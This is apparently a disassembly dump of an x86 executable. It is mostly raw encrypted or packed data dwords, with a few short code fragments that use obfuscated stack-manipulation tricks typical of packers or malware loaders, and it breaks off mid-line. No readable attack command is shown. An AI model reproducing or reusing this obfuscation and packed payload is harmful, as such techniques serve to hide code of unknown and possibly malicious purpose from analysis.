2001E6D0h, 1601BD8Bh, 6A5B0935h, 2995FF00h dd 8B093508h, 954CEBC0h, 967AD5A6h, 0D03CCF6Ah, 2E24EE5Eh dd 0C6E79584h, 73C3FA63h, 4FC9308Bh, 94F02D77h, 2EF86C4Dh dd 46780610h, 0C9A41EBFh, 5D0D268Bh, 4B13ED1h, 0E2184FA4h dd 92EA333h, 9EA62C7Bh, 3B436903h, 0C15ACAE6h, 2582DF06h dd 0EB8021DAh, 0D23BD904h, 540E91Ch, 99BB0000h, 84995F3Ch dd 67F8801Dh, 0C75F217Ah, 1E17C9D2h, 6019227Bh, 7526B3AAh dd 306D6803h, 7429B6A8h, 366770ECh, 1EA43A92h, 1A12F9D9h dd 0A7BB4589h, 4713BA3Ah, 0D143AE2Bh, 418D4158h, 364119A3h dd 378B0D1Ch, 0B1D77F84h, 0FDDA1A45h, 130AE77Bh, 7E96B86h dd 0CDE478ECh, 97426407h, 0BE608CBh, 0C0D95567h, 0D547AF31h dd 738D4158h, 9716DEFBh, 658C0D25h, 0A15F7AF3h, 4BE11089h dd 0DE2FCABAh, 4EE2957Fh, 26624C51h, 363A5278h, 54A0461Ch dd 465744DAh, 0F4FF9C92h, 3EEEB80h, 29DCC815h, 6FF1AA37h dd 587DF6F3h, 8D082799h, 0E20CE266h, 3A3E810Fh, 0B2431C36h dd 0C409C2h, 14A68950h, 0F4787B1Ch, 7C5900h, 153A0000h dd 0AD2847B9h, 36418D37h, 8F67891Ch, 3498011Dh, 0EC08958Ah dd 41EFD765h, 25F81C36h, 0F9EF1E3Fh, 178894Fh, 57000000h dd 0A12BB915h, 9F1C3641h, 3641BB01h, 9B29AF1Ch, 0F26FE115h dd 2954F6B9h, 3DB3633Ah, 77EE10B6h dd 5189262h, 4BE3559Ch, 0DF3EA34Eh, 0E6FCD0F5h, 1C3545DCh dd 0AC1ED6D8h, 0E8A428B1h, 354610BAh, 0EAD00E1Ch, 0DE1C3545h dd 10E40AB8h, 30A9C53Bh, 2E47C86Bh, 59D448ABh, 0D243B140h dd 7B1E17E2h, 0D5C25E22h, 28B5AA1Eh, 977DE8C9h, 4FFF67B6h dd 39672389h, 1C364C93h, 0E6956187h, 9Dh, 0BB2E47A5h, 7B73AA7h dd 2D702E4Dh, 8E608EFEh, 6E548A3Eh, 741C35ACh, 35AC842Eh dd 645E801Ch, 0B92BB242h, 0F7220DA6h, 0AE1D3965h, 0D94CB140h dd 900920EBh, 0BDDC550Bh, 97309036h, 86FCF6A0h, 7445E71Fh dd 0A7546C4Ch, 35F3D3F9h, 0CF21C71Ch, 1CBDB527h, 0AE81D0B0h dd 0EEC397CCh, 33426D07h, 0B242AC13h, 0E9DB4A2Bh, 0B802A0ECh dd 0AA1C3605h, 0AD5EA423h, 16982ADEh, 811F3EDEh, 44688950h dd 27000000h, 48AB2E47h, 913D5AD4h, 0BFC99031h, 65913D08h dd 0CFB546DEh, 0E7B4253Ch, 0BF2A4744h, 36BD33A6h, 216A3090h dd 0A05B47A5h, 3EF7BE54h, 0EFFE1C36h, 0FD094405h, 85E894Fh dd 28000000h, 0FAF99E96h, 47DF7E76h, 0D246AD28h, 0C2B2415Eh dd 87986351h, 1CD811Ah, 7D7461FFh, 41E3E9FBh, 0E1D71C36h dd 579F5148h, 0AD21F9CCh, 41F9C3E1h, 0EBED1C36h, 96415F0Bh dd 6A150363h, 0F709AD44h, 1EA43A79h, 1A13011Bh, 15975A94h dd 0F6F36FE1h, 51675B78h, 0AECEAC1Ah, 0DAD4C927h, 9F524FE0h dd 0CB67D91Dh, 319523CEh, 3D13005Ch, 6D01F4E0h, 0BDB12774h dd 589B3C34h, 8B21AD4h, 0E5678A17h, 21E9211h, 46EE5E95h dd 0DA1ABFB4h, 70EC9F85h, 5C159F45h, 8F111300h, 0DE536D61h dd 0E504B295h, 96589ACFh, 401DD95Bh, 8571438Ah, 1282492h dd 2E630000h, 0D50BC39Bh, 15035F4Eh, 16A824CAh, 0F3757C19h dd 14087C03h, 0D24E128Bh, 0A6BA2EC5h, 2A46BA39h, 5CD246ADh dd 0D04DB43Fh, 920301E4h, 31BA5A2h, 1DD95B96h, 89128FA3h dd 851664A9h, 560392h, 15C40000h, 576B76EBh, 0C3D5E586h dd 25B04489h, 0D00EBE8Eh, 1C35BA1Ah, 8C4088Eh, 35B9F0DAh dd 32C2E41Ch, 0B9971DABh, 57AE1C35h, 2C2A816Dh, 0DF1D24EAh dd 16B63812h, 35757288h, 0F970861Ch, 0ABE0EE0h, 3575EED4h dd 8B08261Ch, 0B8DEE468h, 8F235F3Ch, 64000000h, 43959B2Eh dd 0C80C961Dh, 0EDE8837Dh, 0FDFFCB03h, 0ED837366h, 1503534Ah dd 4C34983Eh, 22E6459Fh, 0F06F8764h, 0A6F7E07Ch, 7166FE00h dd 8A170B85h, 13C8D967h, 0B7441301h, 0B9263ACDh, 0D8B003E4h dd 0FB85AEF4h, 597F0BD4h, 0BB8CF49Ah, 0EE5E0A7Fh, 0B5A923D3h dd 0D2ECA02Ch, 32B63D5Ah, 2CDE0AB0h, 1CD8FE1Ch, 4E36A795h dd 45123989h, 390EBC4Dh, 0A59F2ABDh, 0B211BBE9h, 0E3051C2Ch dd 2CB1BB01h, 0C729AF1Ch, 9A74D907h, 46681500h, 0EB157655h dd 5876A77h, 7B5366F1h, 29A88D53h, 14A6150Ah, 0EF718019h dd 77575907h, 1E92DF47h, 0DC530D18h, 0C0E43749h, 0E46B8B65h dd 0FBF07E3Eh, 277DAA3Bh, 0D8C15DCFh, 0C8213DC3h, 4BA64851h dd 0CC34D7A7h, 40A6EB67h, 9B7C1EB4h, 0BCB4009Bh, 0CD64D81Bh dd 5DA325CCh, 821AD9C0h, 53B8B3A1h, 1B17E2D2h, 0CC428150h dd 0AC42BEF1h, 0ECF569EFh, 0FE9B9305h, 0AC9805F3h, 3F5C45D9h dd 0B53CA5B9h, 3CDh, 844FFE00h, 41B01547h, 0AB4653CFh dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h dd 0BF32AFC0h, 2AC9D04Dh, 0E389535Dh, 4C381h, 0EB810000h dd 4, 5C241C87h, 68240489h, 4F19h, 50242C89h, 405E089h dd 2D000000h, 4, 5C240487h, 51241C89h, 3C688CB9h, 8BCD8909h dd 0C481240Ch, 4, 241C8B54h, 4C481h, 55510000h, 78240481h dd 59522E55h, 5578E981h, 4B89522Eh, 34FF5908h, 0C4835B24h dd 242C8B04h, 5E08950h, 4, 405h, 24048700h, 110EE95Ch dd 7B2FFFF9h, 47B8A7DAh, 3093C6Dh, 14E0FFC5h, 1A75CFE0h dd 0D44921EFh, 0C6271593h, 25A5AF3h, 787896C9h, 820D1A87h dd 0F8655923h, 7452D687h, 81083455h, 0F029FE94h, 0F86B78ECh dd 721994F1h, 7E642353h, 44794231h, 425521B7h, 0E53478C7h dd 0D476775Ah, 0DB1FF81Ch, 0A215B3EEh, 7D0FBE48h, 8C6003A2h dd 0BF26981Ch, 465CDE2h, 0EB786F12h, 0B52CF704h, 50CE954h dd 55070000h, 0B8B52B70h, 6B047C21h, 0B3AB2D6Eh, 6A037526h dd 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h, 0E2BB2438h dd 0BA009EEEh, 0AE12F9D3h, 2B479E1Dh, 416C568Ch, 46681C36h dd 1BA549A8h, 0A7579A07h, 5EB1BB8Ah, 0E511DF87h, 0B6E7F26Bh dd 42B12E42h, 0DE5552CEh, 279935BBh, 14819E0Bh, 5E955BDDh dd 21931ADAh, 0F75E950Ch, 57CBBEA6h, 26507A28h, 0A2441C36h dd 97894F4Ch, 0F19D910Ah, 362709B3h, 25DBFD1Ch, 0F5678F0Ah dd 21935E7Bh, 74648F0Ah, 5CACF0D0h, 64DCFFE3h, 0A6514390h dd 0CE920B88h, 1EAE4552h, 1C355097h, 60654F9Eh, 0CEA3C65Eh dd 0DE4A2530h, 696D559Bh, 332AA0FDh, 729B43B3h, 0F88950A4h dd 886C6906h, 43E1h, 2B47B200h, 11B543AEh, 161C3642h, 113C1D07h dd 56894FFAh, 1, 0AF2A4735h, 445DD044h, 0B6233BADh, 9D87D63Bh dd 316A77EAh, 7526B3AFh, 980EF1D1h, 0FEF5E07Fh, 2981467Ah dd 9B0418E6h, 8120D458h, 48AB2E47h, 0D85059D4h, 41BD079Dh dd 37B91C36h, 259737B9h, 0E3658C0Dh, 5A99001Dh, 319F1ED6h dd 6C05F0E4h, 412F954Bh, 852B1C36h, 0C259636Bh, 0A73229D7h dd 4F2CC84Ch, 0E50C9589h, 12E1FC73h, 0C65D5F2Fh, 589C20D3h dd 1D40190Bh, 6D895000h, 0C0DD53h, 0AE2344CCh, 14C333CAh dd 5Fh, 0AB2E4773h, 3E5BD448h, 0B02941B3h, 4653CF41h, 0E4D03DABh dd 0AB990C01h, 4B5049E0h, 110D9C95h, 0E78B6688h, 0BB3B5ED5h dd 1CB02941h, 0E1108DA2h, 3518975Fh, 0DA03C4B0h, 0B0894FFFh dd 0C69487D0h, 0FBFB496Eh, 2D4Ch, 2E477B00h, 829923ABh dd 0EC60DF17h, 0F68E6572h, 0D54C3F25h, 47F4D7C4h, 0B444AF2Ah dd 1C364211h, 3E1F0518h, 894FFA0Fh, 158h, 28473700h, 416F558Bh dd 456B1C36h, 58D448ABh, 57C4B43Fh, 28859A6Dh, 0D64AA936h dd 3CB23C59h, 5D35805Fh, 8EA31D71h, 824DE313h, 76150363h dd 130F8170h, 0BFDC6058h, 30BEF85Dh, 6079F56Bh, 5ED3ED91h dd 2DC3DE53h, 1CB242C6h, 13009798h, 9A6D57A4h, 0FC841986h dd 87C7760h, 0F8688B14h, 52CEB9ABh, 1B725845h, 4C9285A4h dd 15Ah, 73EB157Bh, 0ED098B66h, 37974F5Ah, 35E82A9h, 0EE807615h dd 80736E01h, 7DFFF2FCh, 0FCF2EF83h, 0D0EF83F5h, 0E1FCAEF0h dd 0F8EAE075h, 1300CED2h, 0CDCE20C6h, 3A68170Bh, 1300CE90h dd 658C6284h, 8F627FF3h, 3C0B421h, 0CEB319C7h, 0DFA71300h dd 0CEFBC1h, 7E9EF13h, 0F8E17DEFh, 6C5EAFA3h, 43099285h dd 0C5000000h, 0DAF1DB09h, 0D3E51300h, 2DAF425Fh, 2E8C33C3h dd 3F5AD787h, 0EAD00EB4h, 0DE1C3641h, 14B836B8h, 364214CEh dd 0E30E901Ch, 36416F55h, 0B59F861Ch, 8A4202A9h, 36419E54h dd 7941A1Ch, 0B1DBh, 9B2E2C00h, 0BBF0BC3h, 3641EFD5h, 3997EB1Ch dd 35586425h, 3DD323CDh, 1502BBFAh, 9CE4E8EEh, 6D914456h dd 9B22D28Ah, 20AC3529h, 0AC8C366Ch, 66881300h, 0D7388C5Ah dd 0AEAD561h, 2AB7AB2Dh, 795B23C7h, 6875EA76h, 0FC1C8F58h dd 4FA812D0h, 0FA9C1300h, 503364FAh, 4CD91300h, 28B1AD58h dd 9C1D473h dd 39A21FC5h, 1CC20BD4h, 0D2CF63D5h, 79EDC2FAh, 0D1F1EE82h dd 0A84CCDF3h, 1ABFB729h, 0D0C965D7h, 7262B321h, 25690D77h dd 2CFD357Fh, 47AF311Ch, 53660AFAh, 0E50B968Bh, 0E81EBBE9h dd 0A2D61500h, 1302401h, 0ED847ABEh, 6D8305ECh, 9B2E7B30h dd 0FCD50BC3h, 0F8150A2Bh, 9589FBF6h, 0F3978F0Ch, 0F9D407ADh dd 0B5203F12h, 0E608BA3Eh, 559C0518h, 0B5A923D3h, 737C52Ch dd 383882AFh, 1EA43A8Eh, 1AC78110h, 21136094h, 0E0BDDA56h dd 589B0418h, 881108B2h, 5D78F769h, 18DC1296h, 9ADB8EA6h dd 4DA6C974h, 77791C17h, 6B795579h, 0C780EB61h, 0F1009991h dd 0A353556Fh, 0F5DF2C1Ch, 0DCE6FCD0h, 14C780EBh, 0A0467C1Dh dd 6946DA54h, 5F7AF7F2h, 13DE1094h, 0BA3E5F91h, 6B9539A6h dd 8F0EE6F3h, 435ED1EBh, 0E0C82CB0h, 14h, 32AD1531h, 0A86D5544h dd 0D7A02AB8h, 12941C35h, 0E3AE18DCh, 41B01547h, 0AB4653CFh dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h dd 0BF32AFC0h, 2AC9D04Dh, 6704685Dh, 3C890000h, 0E2895224h dd 4C281h, 0EA810000h, 4, 5C241487h, 68241C89h, 14BFh dd 68240C89h, 6C9E5AB9h, 81DBF75Bh, 851B2FCBh, 2FF3815Eh dd 68D6D9D1h, 75F7h, 81242489h, 42404h, 81590000h, 4ECh dd 241C8900h, 8B08418Fh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_5464A4 ; --------------------------------------------------------------------------- db 1, 32h, 46h dd 483FFE11h, 33F63807h, 0C7B87EF7h, 3093C72h, 42E0FFC5h dd 667FB6FCh, 0FD01ABD9h, 0FA0C9656h, 0DD3152EAh, 0F90E053Ah dd 0EB27E349h, 10h, 3 dup(0) dd 0E9C08B00h, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh, 0DF91E776h dd 0D4693A27h, 26A1BD83h, 75000935h, 79BD8309h, 93530h dd 53501974h, 2DB8C08Bh, 89000004h, 352AC185h, 389D8D09h dd 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h, 2DB85350h dd 89000004h, 352AC185h, 279D8D09h, 0FF0937B1h, 89585BD3h dd 3526C1B5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0F73B12C0h, 0F4845F16h, 0F78B66CCh dd 0C08BD78Ah, 8D0Fh, 8D8B0000h, 9350B45h, 29A5958Bh, 0F9830935h dd 79840F00h, 53000000h, 645AF38Bh, 2C3D8Bh, 66600000h dd 0C662DA81h, 0FD6BBB66h, 0FFF0B61h, 5B84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0B4A1645Fh, 0F21C370h, 6A3F8BC7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 7854C350h dd 0C032F894h, 2CC98D29h, 0AAF30935h, 225D958Bh, 95890935h dd 93525C9h, 50414935h, 51006A53h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 2BDD4CD4h, 8B49DB91h dd 0DE9D6h, 43CC0000h, 0FC9C2E2Ch, 79765CA1h, 0C6293AE7h dd 35179D85h, 0CE814709h, 67FA329Dh, 685EF551h, 96D8B9DDh dd 68B0F57h, 50000000h, 5A310F52h, 34815E58h, 0E31F124h dd 0B5FFF54Ah, 935167Dh, 2A6DB58Bh, 858D0935h, 9387B70h dd 8BF0B70Fh, 6AD0FFF2h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 1E74C356h, 186DF473h dd 4898589h, 85890935h, 9352F89h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0FAC35747h, 0AAD5D6B7h, 16454264h dd 880F9Dh, 0C6000000h, 35179D85h, 6A5309h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E911CAC3h dd 8, 0DDCFF130h, 9212217Ch, 4E8h, 986AFC00h, 50D08B88h dd 14E8h, 2E4BD900h, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh dd 1C8D1CEEh, 10E9DAh, 0B53A0000h, 9DBE44AAh, 71AF50FCh dd 3BE85EC2h, 8B5AEC55h, 60042444h, 0E8DE32BAh, 8B614Fh dd 4244489h, 8B58F38Bh, 7DB5FFF2h, 80093516h, 858D52D6h dd 9387B70h, 10CDB58Bh, 958B0935h, 9352C51h, 0BD89D0FFh dd 9350DF9h, 3D39858Dh, 6A0938h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 858941C3h, 9351EA1h dd 0E4C28166h, 6D958B44h, 6A093527h, 0FFFF6A20h, 351EA195h dd 41493509h, 85C75350h, 93515F9h, 1, 227585C7h, 935h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0B7B791C3h, 85A5158Dh, 0F2462D8h, 6AF7BFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 6B4BC4C3h, 0A595D2DCh, 59B58B05h, 89093502h, 351D8595h dd 65BD8309h, 93523h, 8A840Fh, 0EA810000h, 0A1342A4h, 0F9858BFCh dd 0E909351Bh, 11h, 0A6E01EE3h, 37FB4C4Ah, 4F92CF20h, 5D4E1BC6h dd 0A36494h, 8B000000h, 352D1195h, 0D858B09h, 6A09352Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0C1CFC352h, 80B8AFA1h, 8D3137DDh, 9351061h dd 6AE08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0AF8FE2C3h, 0B16C3446h, 9589006Ah, 9350C19h dd 539BD83h, 0F000935h, 35A85h, 0F28B6600h, 179D85C6h dd 0F560935h, 0D568F6BFh, 604B9163h, 95BE5250h, 0F31A0E2h dd 870F31h, 5A000000h, 8C0F6058h, 0 dd 4816161h, 33CD0A24h, 7DB5FF5Eh, 1093516h, 3503918Dh dd 70858D09h, 0E909387Bh, 0Fh, 0D60BD8C4h, 5E306AC1h, 1934D9CEh dd 0FF233FDFh, 0F6B70FD0h, 1161B529h, 89500935h, 6E92404h dd 0B7000000h, 3A7EF057h, 0A58D8D0Ah, 8B09352Eh, 666050D6h dd 8961DA8Bh, 0B523240Ch, 93503B5h, 8B0Fh, 46A0000h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 7E96D8Ah dd 1E000000h, 0C869A611h, 0A168AAD0h, 0B253277Dh, 243481E6h dd 53276DA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 2C35242h, 0E9B5FFD9h, 0F093531h, 683h, 4DB58B00h dd 0FF093511h, 68C0FD0h, 3000000h, 35003D95h, 1B58B09h dd 8B093508h, 3531E9BDh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 7F0386D8h, 58E0F3Ch, 66000000h dd 0ADA2E281h, 0F8C781h, 0CE800000h, 8D89606Ch, 93502E9h dd 68A0Fh, 0BD890000h, 935235Dh, 2447C761h, 60000020h dd 0BD83D68Bh, 93C736Fh, 15840F00h, 0F000001h, 687h, 850F00h dd 83000000h, 0D78B28C7h, 6A2E07C7h, 0BE666469h, 47C72942h dd 61746104h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0ECD80FECh, 0F2BF0FA7h, 7377858Bh dd 6A093Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 7866BC3h, 0A50F6F16h, 0C4789B7h, 26B9B58Bh dd 858B0935h, 93C737Bh, 0CE8h, 0D12B9D00h, 6D87557Ch, 6EC09D9h dd 69B58B1Ch, 5E09350Fh, 38C0Fh, 0BF0F0000h, 84789D6h dd 89A4BE66h, 8928C783h, 3503AD85h, 2E07C709h, 0C76E6F63h dd 69660447h, 0BF0F0067h, 73858BD0h, 0B6093C73h, 12880F8Eh dd 0E8000000h, 9, 512B1DBEh, 0EF477632h, 0A8C28027h, 0C47895Eh dd 8BF7BF0Fh, 3C736F85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 669B7B9Eh, 89B097BEh dd 0DA810847h, 209FD029h, 0D9D8958h, 8D093523h, 352A598Dh dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0CE9B6h, 0A3B10000h, 0F669FCA4h, 57C56BF2h dd 6650E3EEh, 0C89D78Bh, 0BD336024h, 9350E19h, 0A5B5FF61h dd 8909352Eh, 35123595h, 4E809h, 10000000h, 5E90000h, 0E4000000h dd 8D40D9B2h, 8BD38B50h, 0E9042444h, 11h, 0C7DC6EE4h, 7E0EA353h dd 0E959AFC8h, 31B5AB1Bh, 66008B80h, 89F80BBEh, 60042444h dd 3F70F3BEh, 0D08B6643h, 29525861h, 3503958Dh, 0B5FF5E09h dd 93531E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 2CC35141h, 0A19A0288h, 0D0FFF592h, 3A0ABA57h, 0B85A7E0Ah dd 0 dd 0BD7BF0Fh, 25840FC0h, 0F000000h, 68Ah, 0B98D8900h, 0FF093512h dd 352AD9B5h, 1810F09h, 0F8000000h, 0D0595FFh, 0BD890935h dd 9352745h, 958BC08Bh, 9351219h, 26A1BD83h, 75000935h dd 79BD8309h, 93530h, 53501974h, 2DB8C08Bh, 89000004h dd 352CA985h, 9F9D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh dd 17740009h, 2DB85350h, 89000004h, 352CA985h, 409D8D09h dd 0FF0937B1h, 0E8585BD3h, 9, 893C76F9h, 33F1AC7Bh, 0F7B70F78h dd 57006A5Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 66298D23h, 8B66AABAh, 0F3BF0FC0h, 4EBC08Bh dd 6BED3443h, 58AE9h, 2D8AA800h, 6C75E870h, 2BB6A92Fh dd 6176EE72h, 2CADC43Ch, 33D7A46Fh, 7AFE9F3Ah, 31A7F4E1h dd 87F9A23Fh, 0FBADEEEBh, 0C6A70DD3h, 0F2A312F9h, 0AE2B47D1h dd 4158D143h, 447F358Dh, 0BFE152DAh, 829E6237h, 628C0D25h dd 3A801E6Ah, 2E1C357Fh, 21C54CA8h, 0E212879Fh, 66FBF468h dd 0D8F4787Bh, 358000CAh, 0FCF2F41Ch, 0F3EE83F5h, 5148E1DBh dd 66B71EA5h, 0B429597Eh, 0E0D80B07h, 0F239D59h, 508E3A92h dd 1C35FF6Ah, 0DFBC385Eh, 19A0719h, 0FDF4E17Fh, 0EE05908Bh dd 68636FEh, 746D3572h, 0DFC51ADAh, 0F8A5322Ch, 24B5AC4Eh dd 0E6D0FAA8h, 22C41C35h, 0DBC458D2h, 0E6458818h, 0B94C1C35h dd 54BB12CBh, 7BAC8950h, 0DB000000h, 43AE2B47h, 364211B5h dd 1D07161Ch, 0C4768838h, 950518C9h, 534DF42Dh, 1ED60C6Dh dd 50804F7Eh, 11889h, 47770000h, 34A1BF2Ah, 699337BAh dd 0B01AC8F7h, 0A41C3641h, 9608EC02h, 80150E9Bh, 1911836Eh dd 420C7180h, 0AB84787Ah, 6B8BE626h, 0C65B2E16h, 0F20CC2DBh dd 0E92617Eh, 0B1F874E6h, 5D20ABF1h, 0E14E90F6h, 4DCDD081h dd 56504DA3h, 0AC466C32h, 9C421C35h, 2E47B958h, 59D448ABh dd 263FB140h, 51CC40B3h, 0EA3BA948h, 84110FFAh, 594B986Ah dd 7922B7AEh, 5E6E6B07h, 0AF347C1Eh, 0AE50B6EBh, 51D024B1h dd 795540DFh, 8ECE987h, 573DA889h, 50182776h, 0C4596389h dd 6D7219DDh, 21000000h, 23AB2E47h, 0DA1A8799h, 534EE153h dd 0F5EC817Bh, 0CA1B8201h, 0A3362FDAh, 0FAEF86FAh, 0C87A7966h dd 3FBAEB83h, 905E9032h, 18D9843Ch, 0CD7C481Ch, 3E36AA29h dd 938B3599h, 8E6FEE06h, 0F12C2D17h, 968950D5h, 51h, 0AB2E47F5h dd 3D5AD448h, 14A61EB6h, 0F2767D1Ah, 6E85120Ch, 0CFB50AEAh dd 18B4253Ch, 0E80B88A6h, 18BB9064h, 44AF2A47h, 364211B4h dd 842F431Ch, 0B553D324h, 11E00E31h, 824819Fh, 0A292618Fh dd 2BA84331h, 9CF1EADAh, 0CB8950DBh, 1, 0AD2847FCh, 515ED246h dd 0AB2DC4DDh, 4DBEAE45h, 78266267h, 1C364152h, 41289250h dd 7A1C1C36h, 0DC4EA648h, 46765643h, 0C5790F42h, 0CDAA4AB2h dd 0DFEFA7F2h, 34416C1h, 0E496EA15h, 0B95A375Ah, 3EB241AFh dd 70E8B522h, 0ED21B5FCh, 6098578h, 296509E8h, 0E8FA9F97h dd 1300A8E2h, 8E24D0D6h, 1300A826h, 0CFFE536h, 62168710h dd 0AE22D1CEh, 0E5A925B2h, 0A8F5BFh, 7EFF113h, 0C741888h dd 75CBED7Ch, 6C00FE67h, 0F8FC8073h, 52CEB9ABh, 1B725845h dd 4C9285F2h, 165h, 0EDEA8476h, 9B2E6A09h, 4ED50BC3h, 0D415035Fh dd 1E77322Ah, 54EE7DB5h, 0E66A8967h, 0B33E600Eh, 0AAC42D41h dd 0F4DAC32Dh, 7E2453CAh, 13010334h, 0B440AE30h, 3AB9263Ah dd 0CCFFAAC6h, 66551FC5h, 5BC928C6h, 0E118CBB3h, 8BB0266Bh dd 5B2E166Bh, 0C8F2DAC7h, 0DAAF4750h, 856C95F8h, 372BD592h dd 31C547AAh, 4D8Ah, 872E4900h, 1DC307C7h, 1C364197h, 45E90D93h dd 3641459Fh, 0D8516B1Ch, 50AE32C1h, 8937BFD8h, 0B6FC8C67h dd 0CD1C3641h, 9A04C38h, 95399539h, 3641654Fh, 0A53F611Ch dd 1C36411Fh, 0BD61951Bh, 3641CD27h, 0D6C7E91Ch, 0B0ACh dd 0AD15DD00h, 9B37254h, 7948AB1h, 2F7A0DE9h, 6495777h dd 0FA1502CCh, 4BE6D8F4h, 0B527A64Eh, 763D30B9h, 0C52323F8h dd 2ED01E11h, 504DA330h, 0C30B9488h, 56CA2739h, 0C826AA49h dd 8217A52Ch, 8A130105h, 6C008B79h, 0E5235B73h, 922C1040h dd 9E886591h, 6094051Ch, 0C20AC2D5h, 0D43C041Ch, 4E7E200Bh dd 0BB5E647Ah, 545A1C2Ch, 517D21A0h, 2CBB2993h, 81881B1Ch dd 0C1D550DBh, 9F25BB03h, 9B1C2D03h, 0A11BDB15h, 8B0C248Dh dd 2D9E8E65h, 0E7788247h, 678A170Ah, 64E80BE5h, 0DAB20590h dd 0FB74ACF2h, 6E701500h, 0D2C75C5Eh, 84599D1Fh, 0C7AD15CFh dd 0E02B0275h, 0E2B540B4h, 518A22Ah, 0EEB4589Ch, 15097632h dd 9E20AC32h, 5DE41085h, 626A77EBh, 89527826h, 0B04612F9h dd 28CC22BFh, 8918D53h, 3F5C5BE9h, 9C0975ABh, 5841DDA8h dd 38A1BD43h, 2BB915B9h, 0B04934A1h, 69E31395h, 7A67F8F1h dd 0C9A97246h, 24CA5D65h, 0D7C25BCDh, 2BB4A81Ch, 998BD8C8h dd 8E6075EEh, 0CABDA7F4h, 0E9C05956h, 70836D74h, 4CAE14CAh dd 4AAB048h, 7F1814EAh, 0CEFEF074h, 746D00FAh, 0E3E9FB7Dh dd 0D7B0484Ch, 9C524FE1h, 61FD8358h, 4C824856h, 7076B048h dd 38B737Eh, 0BC000000h, 1547844Fh, 53CF41B0h, 2739AB46h dd 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh dd 0D04DBF32h db 0C9h, 2Ah, 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 3BDB7551h add ebx, 0C4248AB3h add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push 93C7B9Fh mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], edx pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5464A4 ; --------------------------------------------------------------------------- db 92h dd 0B8B2D020h, 93C8099h, 0E0FFC503h, 46B7021Ah, 5585ECABh dd 5828D08Ah, 5C0EE176h, 79B7548Fh, 234375F3h, 1DF8D7E5h dd 92173BBh, 36D4EB61h, 4214C478h, 4EB4BA1Bh, 4C7A62C8h dd 0C1D53C2h, 28E8B08Fh, 1562098Fh, 576D74F2h, 0E2225EAh dd 1BBE2592h, 4AE7339Ch, 6FCAAD20h, 2E0E37Ah, 0CA35433h dd 394349BBh, 271EAD27h, 4CC90846h, 1E67B7FCh, 25131EB3h dd 5B3199EBh, 17D6504Ah, 6793C81Fh, 81CE04EBh, 0D4E93526h dd 92000005h, 0E69A03A0h, 8B4D4E4Bh, 0CC940994h, 0A65A4354h dd 8A910A8Fh, 990019F1h, 0F2E77C04h, 9C3937A9h, 0FCE579FFh dd 0BFE5A99Fh, 12F9C0F5h, 47DFE4F1h, 9C1EAE2Bh, 61E01485h dd 3A6376EFh, 0F9F66A94h, 82727C65h, 809B1408h, 0A418DB15h dd 70E40F88h, 0D6E8E4FDh, 37B63E5Bh, 6C02FCD2h, 0F400846Fh dd 0AEC2B59Fh, 7AF46C31h, 0A6B8405Dh, 8D74F40Bh, 0ABBA0693h dd 43DA248Fh, 0E7599856h, 0BAAA494Ch, 9E907B69h, 0CAB29C01h dd 90FE9FC3h, 73ED0937h, 810FE2FFh, 1C35653Eh, 10E3F06Eh dd 0DF12879Ch, 0B5B0A4F1h, 0E9847620h, 0C5AF04F0h, 50D5C904h dd 779E89h, 47ED0000h, 0B543AE2Bh, 1C364211h, 3C1D0716h dd 894FFA11h, 0A56h, 0A8503000h, 0D0ACE75Bh, 155AF9FDh dd 